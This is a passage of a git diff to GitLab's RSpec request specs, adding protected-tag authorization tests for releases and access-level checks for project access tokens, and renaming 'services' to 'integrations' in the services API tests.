+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
context 'when there are no corresponding release link' do
let!(:release_link) { }
diff --git a/spec/requests/api/releases_spec.rb b/spec/requests/api/releases_spec.rb
index 81a4fcdbcac..03e0954e5ab 100644
--- a/spec/requests/api/releases_spec.rb
+++ b/spec/requests/api/releases_spec.rb
@@ -463,9 +463,23 @@ RSpec.describe API::Releases do
end
context 'when specified tag is not found in the project' do
- it 'cannot find the release entry' do
+ it 'returns 404 for maintater' do
get api("/projects/#{project.id}/releases/non_exist_tag", maintainer)
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Not Found')
+ end
+
+ it 'returns project not found for no user' do
+ get api("/projects/#{project.id}/releases/non_exist_tag", nil)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Project Not Found')
+ end
+
+ it 'returns forbidden for guest' do
+ get api("/projects/#{project.id}/releases/non_existing_tag", guest)
+
expect(response).to have_gitlab_http_status(:forbidden)
end
end
@@ -662,6 +676,28 @@ RSpec.describe API::Releases do
end.not_to change { Project.find_by_id(project.id).repository.tag_count }
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'accepts the request' do
+ post api("/projects/#{project.id}/releases", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'forbids the request' do
+ post api("/projects/#{project.id}/releases", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
context 'when user is a reporter' do
it 'forbids the request' do
post api("/projects/#{project.id}/releases", reporter), params: params
@@ -1000,6 +1036,28 @@ RSpec.describe API::Releases do
expect(project.releases.last.released_at).to eq('2015-10-10T05:00:00Z')
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'accepts the request' do
+ put api("/projects/#{project.id}/releases/v0.1", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'forbids the request' do
+ put api("/projects/#{project.id}/releases/v0.1", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
context 'when user tries to update sha' do
let(:params) { { sha: 'xxx' } }
@@ -1180,6 +1238,28 @@ RSpec.describe API::Releases do
expect(response).to match_response_schema('public_api/v4/release')
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'accepts the request' do
+ delete api("/projects/#{project.id}/releases/v0.1", developer)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'forbids the request' do
+ delete api("/projects/#{project.id}/releases/v0.1", developer)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
context 'when there are no corresponding releases' do
let!(:release) { }
diff --git a/spec/requests/api/repositories_spec.rb b/spec/requests/api/repositories_spec.rb
index 1b96efeca22..d019e89e0b4 100644
--- a/spec/requests/api/repositories_spec.rb
+++ b/spec/requests/api/repositories_spec.rb
@@ -477,6 +477,17 @@ RSpec.describe API::Repositories do
let(:request) { get api(route, guest) }
end
end
+
+ context 'api_caching_rate_limit_repository_compare is disabled' do
+ before do
+ stub_feature_flags(api_caching_rate_limit_repository_compare: false)
+ end
+
+ it_behaves_like 'repository compare' do
+ let(:project) { create(:project, :public, :repository) }
+ let(:current_user) { nil }
+ end
+ end
end
describe 'GET /projects/:id/repository/contributors' do
diff --git a/spec/requests/api/resource_access_tokens_spec.rb b/spec/requests/api/resource_access_tokens_spec.rb
index 1a3c805fe9f..23061ab4bf0 100644
--- a/spec/requests/api/resource_access_tokens_spec.rb
+++ b/spec/requests/api/resource_access_tokens_spec.rb
@@ -38,6 +38,7 @@ RSpec.describe API::ResourceAccessTokens do
expect(api_get_token["name"]).to eq(token.name)
expect(api_get_token["scopes"]).to eq(token.scopes)
+ expect(api_get_token["access_level"]).to eq(project.team.max_member_access(token.user.id))
expect(api_get_token["expires_at"]).to eq(token.expires_at.to_date.iso8601)
expect(api_get_token).not_to have_key('token')
end
@@ -211,8 +212,9 @@ RSpec.describe API::ResourceAccessTokens do
end
describe "POST projects/:id/access_tokens" do
- let(:params) { { name: "test", scopes: ["api"], expires_at: expires_at } }
+ let(:params) { { name: "test", scopes: ["api"], expires_at: expires_at, access_level: access_level } }
let(:expires_at) { 1.month.from_now }
+ let(:access_level) { 20 }
subject(:create_token) { post api("/projects/#{project_id}/access_tokens", user), params: params }
@@ -231,6 +233,7 @@ RSpec.describe API::ResourceAccessTokens do
expect(response).to have_gitlab_http_status(:created)
expect(json_response["name"]).to eq("test")
expect(json_response["scopes"]).to eq(["api"])
+ expect(json_response["access_level"]).to eq(20)
expect(json_response["expires_at"]).to eq(expires_at.to_date.iso8601)
expect(json_response["token"]).to be_present
end
@@ -248,6 +251,21 @@ RSpec.describe API::ResourceAccessTokens do
expect(json_response["expires_at"]).to eq(nil)
end
end
+
+ context "when 'access_level' is not set" do
+ let(:access_level) { nil }
+
+ it 'creates a project access token with the default access level', :aggregate_failures do
+ create_token
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response["name"]).to eq("test")
+ expect(json_response["scopes"]).to eq(["api"])
+ expect(json_response["access_level"]).to eq(40)
+ expect(json_response["expires_at"]).to eq(expires_at.to_date.iso8601)
+ expect(json_response["token"]).to be_present
+ end
+ end
end
context "with invalid params" do
diff --git a/spec/requests/api/rubygem_packages_spec.rb b/spec/requests/api/rubygem_packages_spec.rb
index 7d863b55bbe..9b104520b52 100644
--- a/spec/requests/api/rubygem_packages_spec.rb
+++ b/spec/requests/api/rubygem_packages_spec.rb
@@ -14,6 +14,7 @@ RSpec.describe API::RubygemPackages do
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
let_it_be(:headers) { {} }
+
let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
let(:tokens) do
@@ -244,6 +245,7 @@ RSpec.describe API::RubygemPackages do
let(:url) { "/projects/#{project.id}/packages/rubygems/api/v1/gems" }
let_it_be(:file_name) { 'package.gem' }
+
let(:headers) { {} }
let(:params) { { file: temp_file(file_name) } }
let(:file_key) { :file }
diff --git a/spec/requests/api/services_spec.rb b/spec/requests/api/services_spec.rb
index f7394fa0cb4..e550132e776 100644
--- a/spec/requests/api/services_spec.rb
+++ b/spec/requests/api/services_spec.rb
@@ -24,14 +24,14 @@ RSpec.describe API::Services do
expect(response).to have_gitlab_http_status(:forbidden)
end
- context 'project with services' do
+ context 'with integrations' do
let!(:active_integration) { create(:emails_on_push_integration, project: project, active: true) }
let!(:integration) { create(:custom_issue_tracker_integration, project: project, active: false) }
- it "returns a list of all active services" do
+ it "returns a list of all active integrations" do
get api("/projects/#{project.id}/services", user)
- aggregate_failures 'expect successful response with all active services' do
+ aggregate_failures 'expect successful response with all active integrations' do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an Array
expect(json_response.count).to eq(1)
@@ -42,41 +42,39 @@ RSpec.describe API::Services do
end
end
- Integration.available_services_names.each do |service|
- describe "PUT /projects/:id/services/#{service.dasherize}" do
- include_context service
+ Integration.available_integration_names.each do |integration|
+ describe "PUT /projects/:id/services/#{integration.dasherize}" do
+ include_context integration
- it "updates #{service} settings" do
- put api("/projects/#{project.id}/services/#{dashed_service}", user), params: service_attrs
+ it "updates #{integration} settings" do
+ put api("/projects/#{project.id}/services/#{dashed_integration}", user), params: integration_attrs
expect(response).to have_gitlab_http_status(:ok)
- current_service = project.integrations.first
- events = current_service.event_names.empty? ? ["foo"].freeze : current_service.event_names
+ current_integration = project.integrations.first
+ events = current_integration.event_names.empty? ? ["foo"].freeze : current_integration.event_names
query_strings = []
events.each do |event|
- query_strings << "#{event}=#{!current_service[event]}"
+ query_strings << "#{event}=#{!current_integration[event]}"
end
query_strings = query_strings.join('&')
- put api("/projects/#{project.id}/services/#{dashed_service}?#{query_strings}", user), params: service_attrs
+ put api("/projects/#{project.id}/services/#{dashed_integration}?#{query_strings}", user), params: integration_attrs
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['slug']).to eq(dashed_service)
+ expect(json_response['slug']).to eq(dashed_integration)
events.each do |event|
next if event == "foo"
- expect(project.integrations.first[event]).not_to eq(current_service[event]),
- "expected #{!current_service[event]} for event #{event} for service #{current_service.title}, got #{current_service[event]}"
+ expect(project.integrations.first[event]).not_to eq(current_integration[event]),
+ "expected #{!current_integration[event]} for event #{event} for service #{current_integration.title}, got #{current_integration[event]}"
end
end
it "returns if required fields missing" do
- attrs = service_attrs
-
- required_attributes = service_attrs_list.select do |attr|
- service_klass.validators_on(attr).any? do |v|
- v.class == ActiveRecord::Validations::PresenceValidator &&
+ required_attributes = integration_attrs_list.select do |attr|
+ integration_klass.validators_on(attr).any? do |v|
+ v.instance_of?(ActiveRecord::Validations::PresenceValidator) &&
# exclude presence validators with conditional since those are not really required
![:if, :unless].any? { |cond| v.options.include?(cond) }
end
@@ -85,85 +83,85 @@ RSpec.describe API::Services do
if required_attributes.empty?
expected_code = :ok
else
- attrs.delete(required_attributes.sample)
+ integration_attrs.delete(required_attributes.sample)
expected_code = :bad_request
end
- put api("/projects/#{project.id}/services/#{dashed_service}", user), params: attrs
+ put api("/projects/#{project.id}/services/#{dashed_integration}", user), params: integration_attrs
expect(response).to have_gitlab_http_status(expected_code)
end
end
- describe "DELETE /projects/:id/services/#{service.dasherize}" do
- include_context service
+ describe "DELETE /projects/:id/services/#{integration.dasherize}" do
+ include_context integration
before do
- initialize_service(service)
+ initialize_integration(integration)
end
- it "deletes #{service}" do
- delete api("/projects/#{project.id}/services/#{dashed_service}", user)
+ it "deletes #{integration}" do
+ delete api("/projects/#{project.id}/services/#{dashed_integration}", user)
expect(response).to have_gitlab_http_status(:no_content)
- project.send(service_method).reload
- expect(project.send(service_method).activated?).to be_falsey
+ project.send(integration_method).reload
+ expect(project.send(integration_method).activated?).to be_falsey
end
end
- describe "GET /projects/:id/services/#{service.dasherize}" do
- include_context service
+ describe "GET /projects/:id/services/#{integration.dasherize}" do
+ include_context integration
- let!(:initialized_service) { initialize_service(service, active: true) }
+ let!(:initialized_integration) { initialize_integration(integration, active: true) }
let_it_be(:project2) do
create(:project, creator_id: user.id, namespace: user.namespace)
end
- def deactive_service!
- return initialized_service.update!(active: false) unless initialized_service.is_a?(PrometheusService)
+ def deactive_integration!
+ return initialized_integration.update!(active: false) unless initialized_integration.is_a?(::Integrations::Prometheus)
- # PrometheusService sets `#active` itself within a `before_save`:
- initialized_service.manual_configuration = false
- initialized_service.save!
+ # Integrations::Prometheus sets `#active` itself within a `before_save`:
+ initialized_integration.manual_configuration = false
+ initialized_integration.save!
end
it 'returns authentication error when unauthenticated' do
- get api("/projects/#{project.id}/services/#{dashed_service}")
+ get api("/projects/#{project.id}/services/#{dashed_integration}")
expect(response).to have_gitlab_http_status(:unauthorized)
end
- it "returns all properties of active service #{service}" do
- get api("/projects/#{project.id}/services/#{dashed_service}", user)
+ it "returns all properties of active service #{integration}" do
+ get api("/projects/#{project.id}/services/#{dashed_integration}", user)
- expect(initialized_service).to be_active
+ expect(initialized_integration).to be_active
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['properties'].keys).to match_array(service_instance.api_field_names)
+ expect(json_response['properties'].keys).to match_array(integration_instance.api_field_names)
end
- it "returns all properties of inactive service #{service}" do
- deactive_service!
+ it "returns all properties of inactive integration #{integration}" do
+ deactive_integration!
- get api("/projects/#{project.id}/services/#{dashed_service}", user)
+ get api("/projects/#{project.id}/services/#{dashed_integration}", user)
- expect(initialized_service).not_to be_active
+ expect(initialized_integration).not_to be_active
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['properties'].keys).to match_array(service_instance.api_field_names)
+ expect(json_response['properties'].keys).to match_array(integration_instance.api_field_names)
end
- it "returns not found if service does not exist" do
- get api("/projects/#{project2.id}/services/#{dashed_service}", user)
+ it "returns not found if integration does not exist" do
+ get api("/projects/#{project2.id}/services/#{dashed_integration}", user)
expect(response).to have_gitlab_http_status(:not_found)
expect(json_response['message']).to eq('404 Service Not Found')
end
- it "returns not found if service exists but is in `Project#disabled_services`" do
+ it "returns not found if service exists but is in `Project#disabled_integrations`" do
expect_next_found_instance_of(Project) do |project|
- expect(project).to receive(:disabled_services).at_least(:once).and_return([service])
+ expect(project).to receive(:disabled_integrations).at_least(:once).and_return([integration])
end
- get api("/projects/#{project.id}/services/#{dashed_service}", user)
+ get api("/projects/#{project.id}/services/#{dashed_integration}", user)
expect(response).to have_gitlab_http_status(:not_found)
expect(json_response['message']).to eq('404 Service Not Found')
@@ -171,7 +169,7 @@ RSpec.describe API::Services do
it "returns error when authenticated but not a project owner" do
project.add_developer(user2)
- get api("/projects/#{project.id}/services/#{dashed_service}", user2)
+ get api("/projects/#{project.id}/services/#{dashed_integration}", user2)
expect(response).to have_gitlab_http_status(:forbidden)
end
@@ -179,10 +177,10 @@ RSpec.describe API::Services do
end
describe 'POST /projects/:id/services/:slug/trigger' do
- describe 'Mattermost Service' do
- let(:service_name) { 'mattermost_slash_commands' }
+ describe 'Mattermost integration' do
+ let(:integration_name) { 'mattermost_slash_commands' }
- context 'no service is available' do
+ context 'when no integration is available' do
it 'returns a not found message' do
post api("/projects/#{project.id}/services/idonotexist/trigger")
@@ -191,34 +189,34 @@ RSpec.describe API::Services do
end
end
- context 'the service exists' do
+ context 'when the integration exists' do
let(:params) { { token: 'token' } }
- context 'the service is not active' do
+ context 'when the integration is not active' do
before do
- project.create_mattermost_slash_commands_service(
+ project.create_mattermost_slash_commands_integration(
active: false,
properties: params
)
end
- it 'when the service is inactive' do
- post api("/projects/#{project.id}/services/#{service_name}/trigger"), params: params
+ it 'when the integration is inactive' do
+ post api("/projects/#{project.id}/services/#{integration_name}/trigger"), params: params
expect(response).to have_gitlab_http_status(:not_found)
end
end
- context 'the service is active' do
+ context 'when the integration is active' do
before do
- project.create_mattermost_slash_commands_service(
+ project.create_mattermost_slash_commands_integration(
active: true,
properties: params
)
end
it 'returns status 200' do
- post api("/projects/#{project.id}/services/#{service_name}/trigger"), params: params
+ post api("/projects/#{project.id}/services/#{integration_name}/trigger"), params: params
expect(response).to have_gitlab_http_status(:ok)
end
@@ -226,7 +224,7 @@ RSpec.describe API::Services do
context 'when the project can not be found' do
it 'returns a generic 404' do
- post api("/projects/404/services/#{service_name}/trigger"), params: params
+ post api("/projects/404/services/#{integration_name}/trigger"), params: params
expect(response).to have_gitlab_http_status(:not_found)
expect(json_response["message"]).to eq("404 Service Not Found")
@@ -235,18 +233,18 @@ RSpec.describe API::Services do
end
end
- describe 'Slack Service' do
- let(:service_name) { 'slack_slash_commands' }
+ describe 'Slack Integration' do
+ let(:integration_name) { 'slack_slash_commands' }
before do
- project.create_slack_slash_commands_service(
+ project.create_slack_slash_commands_integration(
active: true,
properties: { token: 'token' }
)
end
it 'returns status 200' do
- post api("/projects/#{project.id}/services/#{service_name}/trigger"), params: { token: 'token', text: 'help' }
+ post api("/projects/#{project.id}/services/#{integration_name}/trigger"), params: { token: 'token', text: 'help' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['response_type']).to eq("ephemeral")
@@ -254,29 +252,29 @@ RSpec.describe API::Services do
end
end
- describe 'Mattermost service' do
- let(:service_name) { 'mattermost' }
+ describe 'Mattermost integration' do
+ let(:integration_name) { 'mattermost' }
let(:params) do
{ webhook: 'https://hook.example.com', username: 'username' }
end
before do
- project.create_mattermost_service(
+ project.create_mattermost_integration(
active: true,
properties: params
)
end
it 'accepts a username for update' do
- put api("/projects/#{project.id}/services/#{service_name}", user), params: params.merge(username: 'new_username')
+ put api("/projects/#{project.id}/services/#{integration_name}", user), params: params.merge(username: 'new_username')
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['properties']['username']).to eq('new_username')
end
end
- describe 'Microsoft Teams service' do
- let(:service_name) { 'microsoft-teams' }
+ describe 'Microsoft Teams integration' do
+ let(:integration_name) { 'microsoft-teams' }
let(:params) do
{
webhook: 'https://hook.example.com',
@@ -286,29 +284,31 @@ RSpec.describe API::Services do
end
before do
- project.create_microsoft_teams_service(
+ project.create_microsoft_teams_integration(
active: true,
properties: params
)
end
it 'accepts branches_to_be_notified for update' do
- put api("/projects/#{project.id}/services/#{service_name}", user), params: params.merge(branches_to_be_notified: 'all')
+ put api("/projects/#{project.id}/services/#{integration_name}", user),
+ params: params.merge(branches_to_be_notified: 'all')
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['properties']['branches_to_be_notified']).to eq('all')
end
it 'accepts notify_only_broken_pipelines for update' do
- put api("/projects/#{project.id}/services/#{service_name}", user), params: params.merge(notify_only_broken_pipelines: true)
+ put api("/projects/#{project.id}/services/#{integration_name}", user),
+ params: params.merge(notify_only_broken_pipelines: true)
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['properties']['notify_only_broken_pipelines']).to eq(true)
end
end
- describe 'Hangouts Chat service' do
- let(:service_name) { 'hangouts-chat' }
+ describe 'Hangouts Chat integration' do
+ let(:integration_name) { 'hangouts-chat' }
let(:params) do
{
webhook: 'https://hook.example.com',
@@ -324,16 +324,38 @@ RSpec.describe API::Services do
end
it 'accepts branches_to_be_notified for update', :aggregate_failures do
- put api("/projects/#{project.id}/services/#{service_name}", user), params: params.merge(branches_to_be_notified: 'all')
+ put api("/projects/#{project.id}/services/#{integration_name}", user), params: params.merge(branches_to_be_notified: 'all')
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['properties']['branches_to_be_notified']).to eq('all')
end
it 'only requires the webhook param' do
- put api("/projects/#{project.id}/services/#{service_name}", user), params: { webhook: 'https://hook.example.com' }
+ put api("/projects/#{project.id}/services/#{integration_name}", user), params: { webhook: 'https://hook.example.com' }
expect(response).to have_gitlab_http_status(:ok)
end
end
+
+ describe 'Pipelines Email Integration' do
+ let(:integration_name) { 'pipelines-email' }
+
+ context 'notify_only_broken_pipelines property was saved as a string' do
+ before do
+ project.create_pipelines_email_integration(
+ active: false,
+ properties: {
+ "notify_only_broken_pipelines": "true",
+ "branches_to_be_notified": "default"
+ }
+ )
+ end
+
+ it 'returns boolean values for notify_only_broken_pipelines' do
+ get api("/projects/#{project.id}/services/#{integration_name}", user)
+
+ expect(json_response['properties']['notify_only_broken_pipelines']).to eq(true)
+ end
+ end
+ end
end
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index 4a4aeaea714..4008b57a1cf 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -127,6 +127,8 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
spam_check_endpoint_enabled: true,
spam_check_endpoint_url: 'grpc://example.com/spam_check',
spam_check_api_key: 'SPAM_CHECK_API_KEY',
+ mailgun_events_enabled: true,
+ mailgun_signing_key: 'MAILGUN_SIGNING_KEY',
disabled_oauth_sign_in_sources: 'unknown',
import_sources: 'github,bitbucket',
wiki_page_max_content_bytes: 12345,
@@ -175,6 +177,8 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
expect(json_response['spam_check_endpoint_enabled']).to be_truthy
expect(json_response['spam_check_endpoint_url']).to eq('grpc://example.com/spam_check')
expect(json_response['spam_check_api_key']).to eq('SPAM_CHECK_API_KEY')
+ expect(json_response['mailgun_events_enabled']).to be(true)
+ expect(json_response['mailgun_signing_key']).to eq('MAILGUN_SIGNING_KEY')
expect(json_response['disabled_oauth_sign_in_sources']).to eq([])
expect(json_response['import_sources']).to match_array(%w(github bitbucket))
expect(json_response['wiki_page_max_content_bytes']).to eq(12345)
@@ -493,6 +497,15 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
end
end
+ context "missing mailgun_signing_key value when mailgun_events_enabled is true" do
+ it "returns a blank parameter error message" do
+ put api("/application/settings", admin), params: { mailgun_events_enabled: true }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq('mailgun_signing_key is missing')
+ end
+ end
+
context "personal access token prefix settings" do
context "handles validation errors" do
it "fails to update the settings with too long prefix" do
diff --git a/spec/requests/api/snippets_spec.rb b/spec/requests/api/snippets_spec.rb
index 227c53f8fb9..f4d15d0525e 100644
--- a/spec/requests/api/snippets_spec.rb
+++ b/spec/requests/api/snippets_spec.rb
@@ -223,7 +223,7 @@ RSpec.describe API::Snippets, factory_default: :keep do
it 'commit the files to the repository' do
subject
- blob = snippet.repository.blob_at('master', file_path)
+ blob = snippet.repository.blob_at(snippet.default_branch, file_path)
expect(blob.data).to eq file_content
end
diff --git a/spec/requests/api/system_hooks_spec.rb b/spec/requests/api/system_hooks_spec.rb
index 3cea1af686e..1511872d183 100644
--- a/spec/requests/api/system_hooks_spec.rb
+++ b/spec/requests/api/system_hooks_spec.rb
@@ -81,6 +81,7 @@ RSpec.describe API::SystemHooks do
expect(json_response['push_events']).to be false
expect(json_response['tag_push_events']).to be false
expect(json_response['merge_requests_events']).to be false
+ expect(json_response['repository_update_events']).to be true
end
it 'sets explicit values for events' do
@@ -92,7 +93,8 @@ RSpec.describe API::SystemHooks do
enable_ssl_verification: false,
push_events: true,
tag_push_events: true,
- merge_requests_events: true
+ merge_requests_events: true,
+ repository_update_events: false
}
expect(response).to have_gitlab_http_status(:created)
@@ -100,6 +102,7 @@ RSpec.describe API::SystemHooks do
expect(json_response['push_events']).to be true
expect(json_response['tag_push_events']).to be true
expect(json_response['merge_requests_events']).to be true
+ expect(json_response['repository_update_events']).to be false
end
end
diff --git a/spec/requests/api/unleash_spec.rb b/spec/requests/api/unleash_spec.rb
index 9989f8d28bd..0718710f15c 100644
--- a/spec/requests/api/unleash_spec.rb
+++ b/spec/requests/api/unleash_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe API::Unleash do
include FeatureFlagHelpers
let_it_be(:project, refind: true) { create(:project) }
+
let(:project_id) { project.id }
let(:params) { }
let(:headers) { }
diff --git a/spec/requests/api/users_spec.rb b/spec/requests/api/users_spec.rb
index d724cb9612c..383940ce34a 100644
--- a/spec/requests/api/users_spec.rb
+++ b/spec/requests/api/users_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe API::Users do
let_it_be(:key) { create(:key, user: user) }
let_it_be(:gpg_key) { create(:gpg_key, user: user) }
let_it_be(:email) { create(:email, user: user) }
+
let(:omniauth_user) { create(:omniauth_user) }
let(:ldap_blocked_user) { create(:omniauth_user, provider: 'ldapmain', state: 'ldap_blocked') }
let(:private_user) { create(:user, private_profile: true) }
@@ -2967,6 +2968,7 @@ RSpec.describe API::Users do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:group) { create(:group) }
+
let(:requesting_user) { create(:user) }
before_all do
diff --git a/spec/requests/api/wikis_spec.rb b/spec/requests/api/wikis_spec.rb
index 64fde3db19f..ec34dc7e7a1 100644
--- a/spec/requests/api/wikis_spec.rb
+++ b/spec/requests/api/wikis_spec.rb
@@ -611,11 +611,12 @@ RSpec.describe API::Wikis do
let(:payload) { { file: fixture_file_upload('spec/fixtures/dk.png') } }
let(:url) { "/projects/#{project.id}/wikis/attachments" }
let(:file_path) { "#{Wikis::CreateAttachmentService::ATTACHMENT_PATH}/fixed_hex/dk.png" }
+ let(:branch) { wiki.default_branch }
let(:result_hash) do
{
file_name: 'dk.png',
file_path: file_path,
- branch: 'master',
+ branch: branch,
link: {
url: file_path,
markdown: "![dk](#{file_path})"
diff --git a/spec/requests/git_http_spec.rb b/spec/requests/git_http_spec.rb
index 40005596c3e..3fb683ea0fa 100644
--- a/spec/requests/git_http_spec.rb
+++ b/spec/requests/git_http_spec.rb
@@ -61,7 +61,7 @@ RSpec.describe 'Git HTTP requests' do
shared_examples 'operations are not allowed with expired password' do
context "when password is expired" do
it "responds to downloads with status 401 Unauthorized" do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
download(path, user: user.username, password: user.password) do |response|
expect(response).to have_gitlab_http_status(:unauthorized)
@@ -69,7 +69,7 @@ RSpec.describe 'Git HTTP requests' do
end
it "responds to uploads with status 401 Unauthorized" do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
upload(path, user: user.username, password: user.password) do |response|
expect(response).to have_gitlab_http_status(:unauthorized)
@@ -614,7 +614,7 @@ RSpec.describe 'Git HTTP requests' do
context "when password is expired" do
it "responds to downloads with status 401 unauthorized" do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
download(path, **env) do |response|
expect(response).to have_gitlab_http_status(:unauthorized)
@@ -697,7 +697,7 @@ RSpec.describe 'Git HTTP requests' do
context "when password is expired" do
it "responds to uploads with status 401 unauthorized" do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
write_access_token = create(:personal_access_token, user: user, scopes: [:write_repository])
@@ -889,10 +889,10 @@ RSpec.describe 'Git HTTP requests' do
context 'when admin mode is enabled', :enable_admin_mode do
it_behaves_like 'can download code only'
- it 'downloads from other project get status 404' do
+ it 'downloads from other project get status 403' do
clone_get "#{other_project.full_path}.git", user: 'gitlab-ci-token', password: build.token
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:forbidden)
end
end
@@ -920,7 +920,7 @@ RSpec.describe 'Git HTTP requests' do
context 'when users password is expired' do
it 'rejects pulls with 401 unauthorized' do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
download(path, user: 'gitlab-ci-token', password: build.token) do |response|
expect(response).to have_gitlab_http_status(:unauthorized)
@@ -1215,7 +1215,7 @@ RSpec.describe 'Git HTTP requests' do
context "when password is expired" do
it "responds to downloads with status 401 unauthorized" do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
download(path, **env) do |response|
expect(response).to have_gitlab_http_status(:unauthorized)
@@ -1298,7 +1298,7 @@ RSpec.describe 'Git HTTP requests' do
context "when password is expired" do
it "responds to uploads with status 401 unauthorized" do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
write_access_token = create(:personal_access_token, user: user, scopes: [:write_repository])
@@ -1490,10 +1490,10 @@ RSpec.describe 'Git HTTP requests' do
context 'when admin mode is enabled', :enable_admin_mode do
it_behaves_like 'can download code only'
- it 'downloads from other project get status 404' do
+ it 'downloads from other project get status 403' do
clone_get "#{other_project.full_path}.git", user: 'gitlab-ci-token', password: build.token
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:forbidden)
end
end
@@ -1521,7 +1521,7 @@ RSpec.describe 'Git HTTP requests' do
context 'when users password is expired' do
it 'rejects pulls with 401 unauthorized' do
- user.update!(password_expires_at: 2.days.ago)
+ user.update!(password_expires_at: 2.days.ago, password_automatically_set: true)
download(path, user: 'gitlab-ci-token', password: build.token) do |response|
expect(response).to have_gitlab_http_status(:unauthorized)
diff --git a/spec/requests/import/gitlab_groups_controller_spec.rb b/spec/requests/import/gitlab_groups_controller_spec.rb
index c65caf2ebf0..1f6487986a3 100644
--- a/spec/requests/import/gitlab_groups_controller_spec.rb
+++ b/spec/requests/import/gitlab_groups_controller_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Import::GitlabGroupsController do
include_context 'workhorse headers'
let_it_be(:user) { create(:user) }
+
let(:import_path) { "#{Dir.tmpdir}/gitlab_groups_controller_spec" }
before do
diff --git a/spec/requests/invite_registration_spec.rb b/spec/requests/invite_registration_spec.rb
deleted file mode 100644
index 167cf4b1de7..00000000000
--- a/spec/requests/invite_registration_spec.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Registering from an invite' do
- let(:com) { true }
-
- before do
- allow(Gitlab).to receive(:dev_env_or_com?).and_return(com)
- end
-
- describe 'GET /users/sign_up/invites/new' do
- subject(:request) { get '/users/sign_up/invites/new' }
-
- context 'when on .com' do
- it 'renders the template with expected text', :aggregate_failures do
- request
-
- expect(response).to render_template('layouts/simple_registration')
- expect(response).to render_template(:new)
- expect(response.body).to include('Join your team')
- end
- end
-
- context 'when not on .com' do
- let(:com) { false }
-
- it 'returns not found' do
- request
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- describe 'POST /users/sign_up/invites' do
- subject(:request) do
- post '/users/sign_up/invites',
- params: {
- user: {
- first_name: 'first',
- last_name: 'last',
- username: 'new_username',
- email: 'new@user.com',
- password: 'Any_password'
- }
- }
- end
-
- context 'when on .com' do
- it 'creates a user' do
- expect { request }.to change(User, :count).by(1)
-
- expect(response).to have_gitlab_http_status(:found)
- end
- end
-
- context 'when not on .com' do
- let(:com) { false }
-
- it 'returns not found' do
- request
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-end
